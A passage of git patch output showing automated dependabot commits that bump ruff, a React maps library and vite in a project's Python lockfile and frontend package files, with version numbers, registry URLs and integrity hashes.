"https://files.pythonhosted.org/packages/d1/b7/4ea2c170f10ad760fff2a5250beb18897719dc8b52b53a24cddbb9dd3f19/ruff-0.15.14-py3-none-win_amd64.whl", hash = "sha256:802342981e056db3851a7836e5b070f8f15f67d4a685ae2a6160939d364b2902", size = 11939523, upload-time = "2026-05-21T14:34:18.077Z" }, - { url = "https://files.pythonhosted.org/packages/62/d5/bc97ff895ec35cf3925d4bd60f3b39d822f377a446906ec9bcc87405e59b/ruff-0.15.14-py3-none-win_arm64.whl", hash = "sha256:ff47b90a9ef6a40c9e2f3b479c1fb78531adf055b94c1eba0a7ba04b31951826", size = 11208607, upload-time = "2026-05-21T14:34:26.525Z" }, +version = "0.15.15" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/84/6f/a76f7d96e5c962f5b69cee865e49c15c1116897c01990faa8a57edb62e7f/ruff-0.15.15.tar.gz", hash = "sha256:b8dff018130b46d8e5bf0f926ef6b60cf871d6d5ae45fc9334e09632daa741d6", size = 4706985, upload-time = "2026-05-28T14:16:57.784Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fa/9d/3a45c05b8ab04b4705989de70a79008e27c8003296a0feaee9edc18dd7e9/ruff-0.15.15-py3-none-linux_armv6l.whl", hash = "sha256:cf93e5388f412e1b108b1f8b34a6e036b70fe8aff89393befad96fe48670311b", size = 10710652, upload-time = "2026-05-28T14:16:06.701Z" }, + { url = "https://files.pythonhosted.org/packages/05/66/da974431624bf3b49f6ee1f9543c02d929ff1cba78b0d5a79c38cf21f744/ruff-0.15.15-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:ac5a646d1f6a7dadd5d50842dae2c1f9862ac887ef5d1b1375e02def791fde6e", size = 11096615, upload-time = "2026-05-28T14:16:23.313Z" }, + { url = "https://files.pythonhosted.org/packages/8c/09/7443452e5d290230a712103f2fdceeef7184f3ec99a2bd01c8be78aaceb5/ruff-0.15.15-py3-none-macosx_11_0_arm64.whl", hash = "sha256:77d955a431430c66f72dd94e379ad38a16daea3d25094872ac4edf9e797be530", size = 10436683, upload-time = "2026-05-28T14:16:40.974Z" }, + { url = "https://files.pythonhosted.org/packages/53/01/d330c26a57fa4f3943a14424904027428315b700fe4d14a84bb123a649e5/ruff-0.15.15-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7614ee79c69788cf6cedd568069ade9cecc22a1ad20494efe8d0c9ebb4b622d4", size = 10769064, upload-time = "2026-05-28T14:16:28.905Z" }, + { url = "https://files.pythonhosted.org/packages/1d/85/cc8770f8bdff541b1da8392d1634141fe4a0e3f4ee596605959b7906c27f/ruff-0.15.15-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3cdb1679e06a1f6b47bc384714ae96f6e2fb65ca441eb78c43d2ca554176ce1f", size = 10511987, upload-time = "2026-05-28T14:16:43.732Z" }, + { url = "https://files.pythonhosted.org/packages/7c/29/8c190c1472b63013583ba391f3342036e02010544c1270455ed8e519bdf3/ruff-0.15.15-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2728b93d7b23a603ea2c0ac6eb73d760bd38ec9de35f35fb41e18f7a3fee7622", size = 11275100, upload-time = "2026-05-28T14:16:55.244Z" }, + { url = "https://files.pythonhosted.org/packages/9f/6b/7e145ce2cc8e63d6834eca03d83a0e18d121def5c69f91b4cf4011ed4879/ruff-0.15.15-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:be582fcc0db438902c7792b08d6ddf6c9b9e21addaa10092c2c741cfb09e5a45", size = 12176903, upload-time = "2026-05-28T14:16:14.368Z" }, + { url = "https://files.pythonhosted.org/packages/80/a3/d5974637f68e451f7fadf015cf3101d1cd7d8ba5027cffe0b9e3826ebe6b/ruff-0.15.15-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7aa77465b8ecaf1a27bea098d696f7fed5e1eccbd10b321b682d6de586ae5627", size = 11404550, upload-time = "2026-05-28T14:16:20.138Z" }, + { url = "https://files.pythonhosted.org/packages/fe/1c/e6e5e568f22be4fb05d6244234aba384c06b451252453b821e1a529263cf/ruff-0.15.15-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:48decfa11d740de4889de623be1463308346312f2409a56e24aa280c86162dc4", size = 11382027, upload-time = "2026-05-28T14:16:46.615Z" }, + { url = "https://files.pythonhosted.org/packages/1d/01/170921b49fcd2e8858825593f91cf7146c3e40a5c3e6df763e4bb0484dde/ruff-0.15.15-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:a5015088452ca0081387063649ec67f06d3d1d6b8b936a1f836b5e9657ecd48c", size = 11366041, upload-time = "2026-05-28T14:16:26.247Z" }, + { url = "https://files.pythonhosted.org/packages/87/54/a7bad711d7de93254e15e06a4c375b89a03d18de45d3e5dcc86a4472fb1a/ruff-0.15.15-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:f5294aab6356c81600fcdea3a62bb1b924dfd5e91767c12318d3f68f86af57cd", size = 10741795, upload-time = "2026-05-28T14:16:17.11Z" }, + { url = "https://files.pythonhosted.org/packages/c9/31/38c075963668f8b41c6914ee0f6f318727fbe30ab9145cb29e6df464c5fa/ruff-0.15.15-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:db5bd4d802415cca656dc1616070b725952d6ae95eb5d4831e49fbd94a38f75f", size = 10511117, upload-time = "2026-05-28T14:16:31.767Z" }, + { url = "https://files.pythonhosted.org/packages/9d/96/6ff689e1f7e375d1d97075eca022f74c2bab59554a432fe4d2e6f091986a/ruff-0.15.15-py3-none-musllinux_1_2_i686.whl", hash = "sha256:587a6278ed42059191c1a466e490bd7930fb50bd2e255398bc29616c895a61cb", size = 10994867, upload-time = "2026-05-28T14:16:35.149Z" }, + { url = "https://files.pythonhosted.org/packages/c3/c2/5dce0ab9f92a8d534fa62b9bf9caca3eddb8c1a81b616f5e195ada4f0d6e/ruff-0.15.15-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:df0c1c084f5f4be9812f61518a45c440d3c30d69ce4bf6c5270e66d38338f02a", size = 11482101, upload-time = "2026-05-28T14:16:49.598Z" }, + { url = "https://files.pythonhosted.org/packages/b1/c0/1003b60edd697c649faf61f1a34094b1abb38fb3d1181e3f895781250a08/ruff-0.15.15-py3-none-win32.whl", hash = "sha256:29428ea79694afbe756d45fd59b36f22b6b020dc0443cf7de0173046236964b9", size = 10716774, upload-time = "2026-05-28T14:16:52.337Z" }, + { url = "https://files.pythonhosted.org/packages/02/a8/1269eddd6945a06c23f055ef7848886e37cf9d6a8bebb386a3115f01470c/ruff-0.15.15-py3-none-win_amd64.whl", hash = "sha256:8df0323902e15e24bc4bf246da830573d3cf3352bd0b9a164eab335d111ff4a4", size = 11868463, upload-time = "2026-05-28T14:16:11.333Z" }, + { url = "https://files.pythonhosted.org/packages/4e/b2/920464c907b191e37469d477a1aa8bc048b8f36c4c1610dfa4ab87b39e18/ruff-0.15.15-py3-none-win_arm64.whl", hash = "sha256:3c8ceca6792f38196b8f589bc92eccd03eef286602da92e5dc05cc42ef6441b7", size = 11138498, upload-time = "2026-05-28T14:16:38.425Z" }, ] [[package]] From c2f3188d110ba515022b62f9797753b3325cff1c Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 5 Jun 2026 08:40:27 +0200 Subject: [PATCH 025/131] build(deps): bump @vnedyalk0v/react19-simple-maps in /frontend (#1393) Bumps [@vnedyalk0v/react19-simple-maps](https://github.com/vnedyalk0v/react19-simple-maps) from 2.0.7 to 2.0.9. - [Release notes](https://github.com/vnedyalk0v/react19-simple-maps/releases) - [Changelog](https://github.com/vnedyalk0v/react19-simple-maps/blob/main/CHANGELOG.md) - [Commits](https://github.com/vnedyalk0v/react19-simple-maps/compare/v2.0.7...v2.0.9) --- updated-dependencies: - dependency-name: "@vnedyalk0v/react19-simple-maps" dependency-version: 2.0.9 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- frontend/package-lock.json | 26 ++++---------------------- frontend/package.json | 2 +- 2 files changed, 5 insertions(+), 23 deletions(-) diff --git a/frontend/package-lock.json b/frontend/package-lock.json index 60ba9f55d..69f5bbfd8 100644 --- a/frontend/package-lock.json +++ b/frontend/package-lock.json @@ -9,7 +9,7 @@ "version": "0.1.0", "dependencies": { "@greedybear/gb-ui": "github:GreedyBear-Project/gb-ui#1.0.0", - "@vnedyalk0v/react19-simple-maps": "^2.0.7", + "@vnedyalk0v/react19-simple-maps": "^2.0.9", "axios": "^1.17.0", "axios-hooks": "^5.1.1", "bootstrap": ">=5.3.8", @@ -1247,9 +1247,6 @@ "cpu": [ "arm" ], - "libc": [ - "glibc" - ], "license": "MIT", "optional": true, "os": [ @@ -1270,9 +1267,6 @@ "cpu": [ "arm" ], - "libc": [ - "musl" - ], "license": "MIT", "optional": true, "os": [ @@ -1293,9 +1287,6 @@ "cpu": [ "arm64" ], - "libc": [ - "glibc" - ], "license": "MIT", "optional": true, "os": [ @@ -1316,9 +1307,6 @@ "cpu": [ "arm64" ], - "libc": [ - "musl" - ], "license": "MIT", "optional": true, "os": [ @@ -2230,9 +2218,9 @@ } }, "node_modules/@vnedyalk0v/react19-simple-maps": { - "version": "2.0.7", - "resolved": "https://registry.npmjs.org/@vnedyalk0v/react19-simple-maps/-/react19-simple-maps-2.0.7.tgz", - "integrity": "sha512-JB7u1pBwnR6SJGP+Vxq0b8BzgJW7AHRLNHLZEr9YlCoZtiC5hsCZab9ZvE9wzQcJ3TebD/j7F6WOomdkBjfHQg==", + "version": "2.0.9", + "resolved": "https://registry.npmjs.org/@vnedyalk0v/react19-simple-maps/-/react19-simple-maps-2.0.9.tgz", + "integrity": "sha512-QMV6QkRcAVulhgA4vEVE68tvXk7xVn5MAi5gCTSfWhWFd4YRwnGaRLA/m4UEmhTRuXe4dabGVIVKFSMfHBy77Q==", "license": "MIT", "dependencies": { "d3-color": "^3.1.0", @@ -4584,9 +4572,6 @@ "arm64" ], "dev": true, - "libc": [ - "glibc" - ], "license": "MPL-2.0", "optional": true, "os": [ @@ -4608,9 +4593,6 @@ "arm64" ], "dev": true, - "libc": [ - "musl" - ], "license": "MPL-2.0", "optional": true, "os": [ diff --git a/frontend/package.json b/frontend/package.json index 53a4d9dd8..4d962a948 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -10,7 +10,7 @@ }, "dependencies": { "@greedybear/gb-ui": "github:GreedyBear-Project/gb-ui#1.0.0", - "@vnedyalk0v/react19-simple-maps": "^2.0.7", + "@vnedyalk0v/react19-simple-maps": "^2.0.9", "axios": "^1.17.0", "axios-hooks": "^5.1.1", "bootstrap": ">=5.3.8", From 982a786e1d163a3d88ec0c43ab6b7332fbdc73cf Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 5 Jun 2026 08:40:42 +0200 Subject: [PATCH 026/131] build(deps-dev): bump vite from 8.0.14 to 8.0.16 in /frontend (#1394) Bumps [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) from 8.0.14 to 8.0.16. - [Release notes](https://github.com/vitejs/vite/releases) - [Changelog](https://github.com/vitejs/vite/blob/main/packages/vite/CHANGELOG.md) - [Commits](https://github.com/vitejs/vite/commits/v8.0.16/packages/vite) --- updated-dependencies: - dependency-name: vite dependency-version: 8.0.16 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- frontend/package-lock.json | 152 ++++++++++++++++++------------------- frontend/package.json | 2 +- 2 files changed, 77 insertions(+), 77 deletions(-) diff --git a/frontend/package-lock.json b/frontend/package-lock.json index 69f5bbfd8..697fd3ffe 100644 --- a/frontend/package-lock.json +++ b/frontend/package-lock.json @@ -37,7 +37,7 @@ "jsdom": "^29.1.1", "prettier": "^3.8.3", "stylelint": "^17.12.0", - "vite": "^8.0.14", + "vite": "^8.0.16", "vitest": "^4.1.8" } }, @@ -1115,9 +1115,9 @@ } }, "node_modules/@oxc-project/types": { - "version": "0.132.0", - "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.132.0.tgz", - "integrity": "sha512-FESMOxil5Se014ui/Eq8fT5uHJo6nIRwH0PfJrZJXs6Gek3ZVFOrpUv3YIZT20m+extU98Hg1Ym72U58rlsxUQ==", + "version": "0.133.0", + "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.133.0.tgz", + "integrity": "sha512-KzkdCd6Uxqnf6l3HOw1xfatAlUURA0g14cvBYFyJ5SaNOQbOUvBr9PKArcPcrNIeRsBdgcUzOGrhKveVpvOIGA==", "dev": true, "license": "MIT", "funding": { @@ -1467,9 +1467,9 @@ } }, "node_modules/@rolldown/binding-android-arm64": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.0.2.tgz", - "integrity": "sha512-ZS4D1JPGn/MYQN/SYDWftIE/nVsM8j/AFOYEzAoOE2O3NktQOZru+/vYXGbR/qtdLdIfGCP0lcoJiYVzsEz+iQ==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.0.3.tgz", + "integrity": "sha512-454rs7jHngixp/NMxd5srYD57OnzSlZ/eFTETjORQHLwJG1lRtmNOJcBerZlfu4GjKqeq8aCCIQrMdHyhI51Hw==", "cpu": [ "arm64" ], @@ -1484,9 +1484,9 @@ } }, "node_modules/@rolldown/binding-darwin-arm64": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.0.2.tgz", - "integrity": "sha512-vdFA9+C/rekyGce7WqHs/xoT0ioZEWaOFyZLIV1mEeNFaFDUQrPIo8Vs2GvJ6eetb3rzDUtUBgzto3ExpXJB3w==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.0.3.tgz", + "integrity": "sha512-PcAhP+ynjURNyy8SKGl5DQP94aGuB/7JrXJb/t7P+hanXvQVMWzUvRRhBAcg/lNRadBhoUPqSoP4xw5tR/KBEA==", "cpu": [ "arm64" ], @@ -1501,9 +1501,9 @@ } }, "node_modules/@rolldown/binding-darwin-x64": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.0.2.tgz", - "integrity": "sha512-BewSOwTHazv77DTYiAZXSqqKZ4KP/KonFisDMVU7PImxoWfB2aepnPhd2E4SWz3zDzYgDNbs6jBmTdgNnF02GA==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.0.3.tgz", + "integrity": "sha512-9YpfeUvSE2RS7wysJ81uOZkXJz7f7Q55H2Gvp3VEw/EsahqDtrphrZ0EwDLK5vvKOzaCrBsjF8JmnMLcUt78Gg==", "cpu": [ "x64" ], @@ -1518,9 +1518,9 @@ } }, "node_modules/@rolldown/binding-freebsd-x64": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.0.2.tgz", - "integrity": "sha512-m41o7M0YWtUdqk61Tb+jnKb2rN++iRdIASlExkUoKfIAH30DOHCB8fVLzSUpbWHHU8esmEioY62PxzexE8MBuA==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.0.3.tgz", + "integrity": "sha512-yB1IlAsSNHncV6SCTL27/MVGR5htvQsoGxIv5KMGXALp+Ll1wYsn+x98M9MW7qa+NdSbvrrY7ANI4wLJ0n1e6g==", "cpu": [ "x64" ], @@ -1535,9 +1535,9 @@ } }, "node_modules/@rolldown/binding-linux-arm-gnueabihf": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.0.2.tgz", - "integrity": "sha512-jcojB9H7W/jS29pMKWAK1N+fU99vXodHDTatS3b3y/XSOCiHo0kkA74pL3jJmkoQtYpOCxDvaKs1fo2Ij/1X5w==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.0.3.tgz", + "integrity": "sha512-Yi30IVAAfLUCy2MseFjbB1jAMDl1VMCAas5StnYp8da9+CKvMd2H2cbEjWcw5NPaPqzvYkVIaF1nNUG+b7u/sw==", "cpu": [ "arm" ], @@ -1552,9 +1552,9 @@ } }, "node_modules/@rolldown/binding-linux-arm64-gnu": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.0.2.tgz", - "integrity": "sha512-1jn6qDU5iiOgFgygDzKUuKP0maTi0/f1+sBLgvij/76C77Nm3ts6ufz9Bjg5q5dduxiUIxtq86JIoBvo1xQ4Ig==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.0.3.tgz", + "integrity": "sha512-jsO7R8To+AdlYgUmN5sHSCZbfhtMBkO0WUx8iORQnPcMMdgr7qM2DQmMwgabs3GhNztdmoKkMKQFHD6DTMCIQw==", "cpu": [ "arm64" ], @@ -1569,9 +1569,9 @@ } }, "node_modules/@rolldown/binding-linux-arm64-musl": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.0.2.tgz", - "integrity": "sha512-QVLO/czFMdoMFSqlX3bcswcJNm/23r+qoa/jgtmFc/qEp6/jXmIkDjF/XIo8dPfGaiwy1xfQn8o77L79GeXFgw==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.0.3.tgz", + "integrity": "sha512-VWkUHwWriDciit80wleYwKILoR/KMvxh/IdwS/paX+ZgpuRpCrKLUdadJbc0NpBEiyhpYawsJ73j9aCvOH+f7Q==", "cpu": [ "arm64" ], @@ -1586,9 +1586,9 @@ } }, "node_modules/@rolldown/binding-linux-ppc64-gnu": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.0.2.tgz", - "integrity": "sha512-hgO5Abm0w5UL6FEa2iFnZqo2KlK7TQ5QhV5x09hujBf7t5KzHQ1VmfPuTpqRy/rNlSxua3eWH374xxiVrP+lcA==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.0.3.tgz", + "integrity": "sha512-5f1laC0SlIR0yDbFCd8acUhvJIag6N3zC5P7oUPN6wX0aOma+uKJ0wBDH5aq7I1PVI2ttTlhJwzwRIBnLiSGEg==", "cpu": [ "ppc64" ], @@ -1603,9 +1603,9 @@ } }, "node_modules/@rolldown/binding-linux-s390x-gnu": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.0.2.tgz", - "integrity": "sha512-fy8rXxuYEu602abC8MUNaPjYLIFzReOaEIEMKMUa0rFEUxNpVXhs15KSSQ4qlqSaM7B6rcj9rDZgADh/IGDzLQ==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.0.3.tgz", + "integrity": "sha512-Iq4ko0r4XsgbrF/LunNgHtAGLRRVE2kXonAXQ/MV0mC6jQpMOhW1SvtZja2EhC/kd05++bP78dsqBeIQyYJ6Yg==", "cpu": [ "s390x" ], @@ -1620,9 +1620,9 @@ } }, "node_modules/@rolldown/binding-linux-x64-gnu": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.0.2.tgz", - "integrity": "sha512-0+bOkiQ779+r1WpoHOWHqncvyySci0vKph+myNDYb+im6meJAzHQXay6oEgnkHuUGouM1LKTZwqKpBow6Kj7CQ==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.0.3.tgz", + "integrity": "sha512-B8m6tD5+/N5FeNQFbKlLA/2yVq9ycQP1SeedyEYYKWBNR3ZQbkvIUcNnDNM03lO1l5F2roiiFJGgvoLLyZXtSg==", "cpu": [ "x64" ], @@ -1637,9 +1637,9 @@ } }, "node_modules/@rolldown/binding-linux-x64-musl": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.0.2.tgz", - "integrity": "sha512-mjSkrzZK5Qsl0a9d1JgILOiuZOSDTVdKENcSXBoqbzSrspLR/4/IRVDo5wd2GgZjNss/viBFJdeq+j7qH2nypw==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.0.3.tgz", + "integrity": "sha512-pSdpdUJHkuCxun9LE7jvgUB9qsRgaiyNNCX7m/AvHTcq67AiT/Yhoxvw5zPfhrM8k/BfP8ce/hMOpthKDpEUow==", "cpu": [ "x64" ], @@ -1654,9 +1654,9 @@ } }, "node_modules/@rolldown/binding-openharmony-arm64": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.0.2.tgz", - "integrity": "sha512-1v5vHasdfQAZoEHakBV72LIFAC9JjnymsiKxp+GEr/ma3+NJCPSaYK+qavInOovJkgwFrs7GccX2d6IgDA3Z5w==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.0.3.tgz", + "integrity": "sha512-OXXS3RKJgX2uLwM+gYyuH5omcH8fL1LJs96pZGgtetVCahON57+d4SJHzTgZiOjxgGkSnpXpOsWuPDGAKAigEg==", "cpu": [ "arm64" ], @@ -1671,9 +1671,9 @@ } }, "node_modules/@rolldown/binding-wasm32-wasi": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-wasm32-wasi/-/binding-wasm32-wasi-1.0.2.tgz", - "integrity": "sha512-mb1VobWn6NheziTk5/WEaR6AKVbrwT5sOi6C7zk3gy/pD1qtJfU1j4PgTo2NJnOtbL9Dl3Aeei8w9jJ7qC2jZQ==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-wasm32-wasi/-/binding-wasm32-wasi-1.0.3.tgz", + "integrity": "sha512-JTtb8BWFynicNSoPrehsCzBtOKjZ6jhMiPFEmOiuXg1Fl8dn2KHQob+GuPSGR0dryQa1PQJbzjF3dqO/whhjLg==", "cpu": [ "wasm32" ], @@ -1690,9 +1690,9 @@ } }, "node_modules/@rolldown/binding-win32-arm64-msvc": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.0.2.tgz", - "integrity": "sha512-SqKonF56vA/L2yHwHYcEp2P34URpOZ7d1fS635cTkpDnUtEGdUbhI6NzsPdqeSWvAAeGDrxjWjNmibDIdFf9/A==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.0.3.tgz", + "integrity": "sha512-gEdFFEN70A/jxb2svrWsN3aDL7OUtmvlOy+6fa2jxG8K0wQ1ZbdeLGnidov6Yu5/733dI5ySfzFlQ/cb0bSz1g==", "cpu": [ "arm64" ], @@ -1707,9 +1707,9 @@ } }, "node_modules/@rolldown/binding-win32-x64-msvc": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.0.2.tgz", - "integrity": "sha512-v7qRI7gXLRINcOGXt+7YmAZ6iFuyZVMIoXAxhd8oP+DR9dLfL9GfNIx7PLMxmhZdvq8waUJBQiWN9EKNy+TRBQ==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.0.3.tgz", + "integrity": "sha512-eXB7CHuaQdqmJcc3koCNtNPmT/bj2gc999kUFgBxG8Ac0NdgXc4rkCHhqrgrhN3zddvvvrgzj1e90SuSfmyIXA==", "cpu": [ "x64" ], @@ -5963,13 +5963,13 @@ } }, "node_modules/rolldown": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.0.2.tgz", - "integrity": "sha512-oZx5zVDtVB44AW3eaifgDml1gWRDZGvjcfdxonE4swNPG98PrrXjaO/KrnUjzlMnztCCRVlUueA1kCXhARGk6g==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.0.3.tgz", + "integrity": "sha512-i00lAJ2ks1BYr7rjNjKC7BcqAS7nVfiT3QX1SI5aY+AFHblCmaUf9OE9dbdzDvW6dJxbi2ZCZiy9v3CcwOiX3g==", "dev": true, "license": "MIT", "dependencies": { - "@oxc-project/types": "=0.132.0", + "@oxc-project/types": "=0.133.0", "@rolldown/pluginutils": "^1.0.0" }, "bin": { @@ -5979,21 +5979,21 @@ "node": "^20.19.0 || >=22.12.0" }, "optionalDependencies": { - "@rolldown/binding-android-arm64": "1.0.2", - "@rolldown/binding-darwin-arm64": "1.0.2", - "@rolldown/binding-darwin-x64": "1.0.2", - "@rolldown/binding-freebsd-x64": "1.0.2", - "@rolldown/binding-linux-arm-gnueabihf": "1.0.2", - "@rolldown/binding-linux-arm64-gnu": "1.0.2", - "@rolldown/binding-linux-arm64-musl": "1.0.2", - "@rolldown/binding-linux-ppc64-gnu": "1.0.2", - "@rolldown/binding-linux-s390x-gnu": "1.0.2", - "@rolldown/binding-linux-x64-gnu": "1.0.2", - "@rolldown/binding-linux-x64-musl": "1.0.2", - "@rolldown/binding-openharmony-arm64": "1.0.2", - "@rolldown/binding-wasm32-wasi": "1.0.2", - "@rolldown/binding-win32-arm64-msvc": "1.0.2", - "@rolldown/binding-win32-x64-msvc": "1.0.2" + "@rolldown/binding-android-arm64": "1.0.3", + "@rolldown/binding-darwin-arm64": "1.0.3", + "@rolldown/binding-darwin-x64": "1.0.3", + "@rolldown/binding-freebsd-x64": "1.0.3", + "@rolldown/binding-linux-arm-gnueabihf": "1.0.3", + "@rolldown/binding-linux-arm64-gnu": "1.0.3", + "@rolldown/binding-linux-arm64-musl": "1.0.3", + "@rolldown/binding-linux-ppc64-gnu": "1.0.3", + "@rolldown/binding-linux-s390x-gnu": "1.0.3", + "@rolldown/binding-linux-x64-gnu": "1.0.3", + "@rolldown/binding-linux-x64-musl": "1.0.3", + "@rolldown/binding-openharmony-arm64": "1.0.3", + "@rolldown/binding-wasm32-wasi": "1.0.3", + "@rolldown/binding-win32-arm64-msvc": "1.0.3", + "@rolldown/binding-win32-x64-msvc": "1.0.3" } }, "node_modules/rtl-css-js": { @@ -6654,9 +6654,9 @@ } }, "node_modules/tinyglobby": { - "version": "0.2.16", - "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.16.tgz", - "integrity": "sha512-pn99VhoACYR8nFHhxqix+uvsbXineAasWm5ojXoN8xEwK5Kd3/TrhNn1wByuD52UxWRLy8pu+kRMniEi6Eq9Zg==", + "version": "0.2.17", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz", + "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==", "dev": true, "license": "MIT", "dependencies": { @@ -6901,17 +6901,17 @@ } }, "node_modules/vite": { - "version": "8.0.14", - "resolved": "https://registry.npmjs.org/vite/-/vite-8.0.14.tgz", - "integrity": "sha512-s4BJJ+5y1pYL6Otw51FHhVJQhPnuRinKig64g/1+EUNaJsd3gCKdD31IPFvswUgW9/60QT9oFHbZHbQK5imcxw==", + "version": "8.0.16", + "resolved": "https://registry.npmjs.org/vite/-/vite-8.0.16.tgz", + "integrity": "sha512-h9bXPmJichP5fLmVQo3PyaGSDE2n3aPuomeAlVRm0JLmt4rY6zmPKd59HYI4LNW8oTK7tlTsuC7l/m7awx9Jcw==", "dev": true, "license": "MIT", "dependencies": { "lightningcss": "^1.32.0", "picomatch": "^4.0.4", "postcss": "^8.5.15", - "rolldown": "1.0.2", - "tinyglobby": "^0.2.16" + "rolldown": "1.0.3", + "tinyglobby": "^0.2.17" }, "bin": { "vite": "bin/vite.js" diff --git a/frontend/package.json b/frontend/package.json index 4d962a948..c12ecc106 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -56,7 +56,7 @@ "jsdom": "^29.1.1", "prettier": "^3.8.3", "stylelint": "^17.12.0", - "vite": "^8.0.14", + "vite": "^8.0.16", "vitest": "^4.1.8" } } From 6d3c34da7ead6634fc77d31b89e2474ef623f075 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 10 Jun 2026 07:46:03 +0200 Subject: [PATCH 027/131] build(deps-dev): bump ruff from 0.15.15 to 0.15.16 (#1402) Bumps [ruff](https://github.com/astral-sh/ruff) from 0.15.15 to 0.15.16. - [Release notes](https://github.com/astral-sh/ruff/releases) - 